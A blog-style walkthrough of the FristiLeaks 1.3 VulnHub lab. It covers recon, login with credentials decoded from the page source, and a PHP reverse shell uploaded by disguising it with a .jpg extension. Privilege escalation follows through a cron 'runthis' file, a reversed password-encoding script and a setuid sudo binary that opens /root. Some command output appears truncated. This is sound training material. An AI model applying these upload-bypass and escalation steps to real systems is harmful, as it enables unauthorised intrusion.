Table of contents


Hi guys, today I’m ready to publish my walkthrough against the vm hosted on vulnhub called FristiLeaks 1.3 by Ar0xA.

Information Gathering

After launching netdiscover to find the vm’s ip address, Net Discover

I scanned the server with nmap and I could see apache web server version 2.4.16 running on port 80: Nmap

So I browsed it and this is what I saw: Web Site

And its source code: Web Site Source Code

Vulnerability Analysis

After that I decided to launch nikto, which revealed five directories cola, sisi, beer, icons and images: Nikto

The file robots.txt reveals:

User-agent: *
Disallow: /cola
Disallow: /sisi
Disallow: /beer

After that I navigated first in the cola folder and I could see an image, and then in both the sisi and the beef folders returned the same troll page: Website Cola

I thought about the homepage that said “Keep Calm and Drink Fristi” and I wonder if that means instead of the drinks like cola and beer, use fristi instead.. In fact a login page appears: Website Login


I tried some credentials but I didn’t be able to login, so I viewed the page’ source code and I could see a base64 image: Website Login Image

In the page’ source code there was also a comment with a possible username:

We need to clean this up for production. I left some junk in here to make testing easier.

- by eezeepz

I converted a base64 encoded text to an image and then I could see the image: Website Login Image Password

I tried to put these credentials in the login page and I was able to login! :smiley: After that I opened a link to upload my php shell: Website Upload

The upload page accepted only images, so I used a little trick.. I added a jpg extension to the php reverse shell, I launched the netcat listener and then I navigated to it: Website Reverse Shell

Good!! I received a reverse shell.. Reverse Shell


At this time I listed the home directory and I could see three users, admin, eezeepz and fristigod. The admin and fristigod folders were not accessible by apache user, but in the eezeepz folder there were some files:

sh-4.1$ whoami
sh-4.1$ cd home
cd home
sh-4.1$ ls -l
ls -l
total 20
drwx------. 2 admin     admin      4096 Nov 19  2015 admin
drwx---r-x. 5 eezeepz   eezeepz   12288 Nov 18  2015 eezeepz
drwx------  2 fristigod fristigod  4096 Nov 19  2015 fristigod
sh-4.1$ ls -l admin
ls -l admin
ls: cannot open directory admin: Permission denied
sh-4.1$ ls -l eezeepz
ls -l eezeepz
total 2568
-rwxr-xr-x. 1 eezeepz eezeepz  24376 Nov 17  2015 MAKEDEV
-rwxr-xr-x. 1 eezeepz eezeepz  33559 Nov 17  2015 cbq
-rwxr-xr-x. 1 eezeepz eezeepz   6976 Nov 17  2015 cciss_id
-rwxr-xr-x. 1 eezeepz eezeepz  56720 Nov 17  2015 cfdisk
-rwxr-xr-x. 1 eezeepz eezeepz  25072 Nov 17  2015 chcpu
-rwxr-xr-x. 1 eezeepz eezeepz  52936 Nov 17  2015 chgrp
-rwxr-xr-x. 1 eezeepz eezeepz  31800 Nov 17  2015 chkconfig
-rwxr-xr-x. 1 eezeepz eezeepz  48712 Nov 17  2015 chmod
-rwxr-xr-x. 1 eezeepz eezeepz  53640 Nov 17  2015 chown
-rwxr-xr-x. 1 eezeepz eezeepz  44528 Nov 17  2015 clock
-rwxr-xr-x. 1 eezeepz eezeepz   4808 Nov 17  2015 consoletype
-rwxr-xr-x. 1 eezeepz eezeepz 129992 Nov 17  2015 cpio
-rwxr-xr-x. 1 eezeepz eezeepz  38608 Nov 17  2015 cryptsetup
-rwxr-xr-x. 1 eezeepz eezeepz   5344 Nov 17  2015 ctrlaltdel
-rwxr-xr-x. 1 eezeepz eezeepz  41704 Nov 17  2015 cut
-rwxr-xr-x. 1 eezeepz eezeepz  14832 Nov 17  2015 halt
-rwxr-xr-x. 1 eezeepz eezeepz  13712 Nov 17  2015 hostname
-rwxr-xr-x. 1 eezeepz eezeepz  44528 Nov 17  2015 hwclock
-rwxr-xr-x. 1 eezeepz eezeepz   7920 Nov 17  2015 kbd_mode
-rwxr-xr-x. 1 eezeepz eezeepz  11576 Nov 17  2015 kill
-rwxr-xr-x. 1 eezeepz eezeepz  16472 Nov 17  2015 killall5
-rwxr-xr-x. 1 eezeepz eezeepz  32928 Nov 17  2015 kpartx
-rwxr-xr-x. 1 eezeepz eezeepz  11464 Nov 17  2015 nameif
-rwxr-xr-x. 1 eezeepz eezeepz 171784 Nov 17  2015 nano
-rwxr-xr-x. 1 eezeepz eezeepz   5512 Nov 17  2015 netreport
-rwxr-xr-x. 1 eezeepz eezeepz 123360 Nov 17  2015 netstat
-rwxr-xr-x. 1 eezeepz eezeepz  13892 Nov 17  2015 new-kernel-pkg
-rwxr-xr-x. 1 eezeepz eezeepz  25208 Nov 17  2015 nice
-rwxr-xr-x. 1 eezeepz eezeepz  13712 Nov 17  2015 nisdomainname
-rwxr-xr-x. 1 eezeepz eezeepz   4736 Nov 17  2015 nologin
-r--r--r--. 1 eezeepz eezeepz    514 Nov 18  2015 notes.txt
-rwxr-xr-x. 1 eezeepz eezeepz 390616 Nov 17  2015 tar
-rwxr-xr-x. 1 eezeepz eezeepz  11352 Nov 17  2015 taskset
-rwxr-xr-x. 1 eezeepz eezeepz 249000 Nov 17  2015 tc
-rwxr-xr-x. 1 eezeepz eezeepz  51536 Nov 17  2015 telinit
-rwxr-xr-x. 1 eezeepz eezeepz  47928 Nov 17  2015 touch
-rwxr-xr-x. 1 eezeepz eezeepz  11440 Nov 17  2015 tracepath
-rwxr-xr-x. 1 eezeepz eezeepz  12304 Nov 17  2015 tracepath6
-rwxr-xr-x. 1 eezeepz eezeepz  21112 Nov 17  2015 true
-rwxr-xr-x. 1 eezeepz eezeepz  35608 Nov 17  2015 tune2fs
-rwxr-xr-x. 1 eezeepz eezeepz  15410 Nov 17  2015 weak-modules
-rwxr-xr-x. 1 eezeepz eezeepz  12216 Nov 17  2015 wipefs
-rwxr-xr-x. 1 eezeepz eezeepz 504400 Nov 17  2015 xfs_repair
-rwxr-xr-x. 1 eezeepz eezeepz  13712 Nov 17  2015 ypdomainname
-rwxr-xr-x. 1 eezeepz eezeepz     62 Nov 17  2015 zcat
-rwxr-xr-x. 1 eezeepz eezeepz  47520 Nov 17  2015 zic
sh-4.1$ ls -l fristigod
ls -l fristigod
ls: cannot open directory fristigod: Permission denied

There was a file called notes.txt that had some interesting information in it:

sh-4.1$ cat notes.txt
cat notes.txt
Yo EZ,

I made it possible for you to do some automated checks, 
but I did only allow you access to /usr/bin/* system binaries. I did
however copy a few extra often needed commands to my 
homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those
from /home/admin/

Don't forget to specify the full path for each binary!

Just put a file called "runthis" in /tmp/, each line one command. The 
output goes to the file "cronresult" in /tmp/. It should 
run every minute with my account privileges.

- Jerry

Privilege Escalation

According to this message, there was a script running that will execute any command as admin in the /tmp directory if it’s in a file called runthis. So let’s execute a command that we can access /admin/ folder by using the /tmp/runthis file trick. Inside it I could see a bunch of interesting files, some encrypted files and a python script used to encrypt the files.

sh-4.1$ echo "/home/admin/chmod 777 /home/admin" > /tmp/runthis
echo "/home/admin/chmod 777 /home/admin" > /tmp/runthis
sh-4.1$ ls -l /home/admin
ls -l /home/admin
total 632
-rwxr-xr-x 1 admin     admin      45224 Nov 18  2015 cat
-rwxr-xr-x 1 admin     admin      48712 Nov 18  2015 chmod
-rw-r--r-- 1 admin     admin        737 Nov 18  2015
-rw-r--r-- 1 admin     admin         21 Nov 18  2015 cryptedpass.txt
-rw-r--r-- 1 admin     admin        258 Nov 18  2015
-rwxr-xr-x 1 admin     admin      90544 Nov 18  2015 df
-rwxr-xr-x 1 admin     admin      24136 Nov 18  2015 echo
-rwxr-xr-x 1 admin     admin     163600 Nov 18  2015 egrep
-rwxr-xr-x 1 admin     admin     163600 Nov 18  2015 grep
-rwxr-xr-x 1 admin     admin      85304 Nov 18  2015 ps
-rw-r--r-- 1 fristigod fristigod     25 Nov 19  2015 whoisyourgodnow.txt
sh-4.1$ cat cryptedpass.txt
cat cryptedpass.txt
sh-4.1$ cat whoisyourgodnow.txt
cat whoisyourgodnow.txt
sh-4.1$ cat
#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
import base64,codecs,sys

def encodeString(str):
    base64string= base64.b64encode(str)
    return codecs.encode(base64string[::-1], 'rot13')

print cryptoResult

I copied the cryptpass python script in my local machine and I modified it a bit, so instead of encrypting the files it decrypts them! :smiling_imp:

root@kali:~# cat 
import base64,codecs,sys

def encodeString(str):
    decoded = codecs.decode(str[::-1], 'rot13')
    return base64.b64decode(decoded)

print cryptoResult
root@kali:~# python mVGZ3O3omkJLmy2pcuTq
root@kali:~# python =RFn0AKnlMHMPIzpyuTI0ITG

Now I launched a bash shell with a python oneliner, and I tried to login with admin but he didn’t run sudo command! Instead the fristigod user was able to run the sudo command:

sh-4.1$ python -c "import pty; pty.spawn('/bin/bash')"
python -c "import pty; pty.spawn('/bin/bash')"
bash-4.1$ su admin
su admin
Password: thisisalsopw123
[admin@localhost ~]$ sudo -l
sudo -l
[sudo] password for admin: thisisalsopw123

Sorry, user admin may not run sudo on localhost.
[admin@localhost ~]$ su fristigod
su fristigod
Password: LetThereBeFristi!

bash-4.1$ sudo -l
sudo -l
[sudo] password for fristigod: LetThereBeFristi!

Matching Defaults entries for fristigod on this host:
    requiretty, !visiblepw, always_set_home, env_reset, env_keep="COLORS

User fristigod may run the following commands on this host:
    (fristi : ALL) /var/fristigod/.secret_admin_stuff/doCom

There was a little hint after launching the sudo -l command.. this user may run commands inside the /var/fristigod/.secret_admin_stuff/ so I navigated into it:

bash-4.1$ cd /var/fristigod/
cd /var/fristigod/
bash-4.1$ ls -la
ls -la
total 16
drwxr-x---   3 fristigod fristigod 4096 Nov 25  2015 .
drwxr-xr-x. 19 root      root      4096 Nov 19  2015 ..
-rw-------   1 fristigod fristigod  864 Nov 25  2015 .bash_history
drwxrwxr-x.  2 fristigod fristigod 4096 Nov 25  2015 .secret_admin_stuff

Checking the .bash_history file we can learn how to execute the previous root binary.

bash-4.1$ cat .bash_history
cat .bash_history
ls -lah
cd .secret_admin_stuff/
./doCom test
sudo ls
cd .secret_admin_stuff/
sudo -u fristi ./doCom ls /
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
sudo /var/fristigod/.secret_admin_stuff/doCom
sudo /var/fristigod/.secret_admin_stuff/doCom
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
ls -lah
usermod -G fristigod fristi
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
less /var/log/secure e

I navigated into the .secret_admin_stuff folder and I was able to launch doCom script to change the permissions of root folder, so I could view inside it:

bash-4.1$ cd .secret_admin_stuff
cd .secret_admin_stuff
bash-4.1$ ls -l
ls -l
total 8
-rwsr-sr-x 1 root root 7529 Nov 25  2015 doCom
bash-4.1$ sudo -u fristi ./doCom chmod -R 777 /root
sudo -u fristi ./doCom chmod -R 777 /root
bash-4.1$ ls -l /root
ls -l /root
total 4
-rwxrwxrwx. 1 root root 246 Nov 17  2015 fristileaks_secrets.txt
bash-4.1$ cat /root/fristileaks_secrets.txt
cat /root/fristileaks_secrets.txt
Congratulations on beating FristiLeaks 1.0 by Ar0xA []

I wonder if you beat it in the maximum 4 hours it's supposed to take!

Shoutout to people of #fristileaks (twitter) and #vulnhub (FreeNode)

Flag: Y0u_kn0w_y0u_l0ve_fr1st1


Oh yes! I found the Flag!!


Thanks to Ar0xA for this CTF!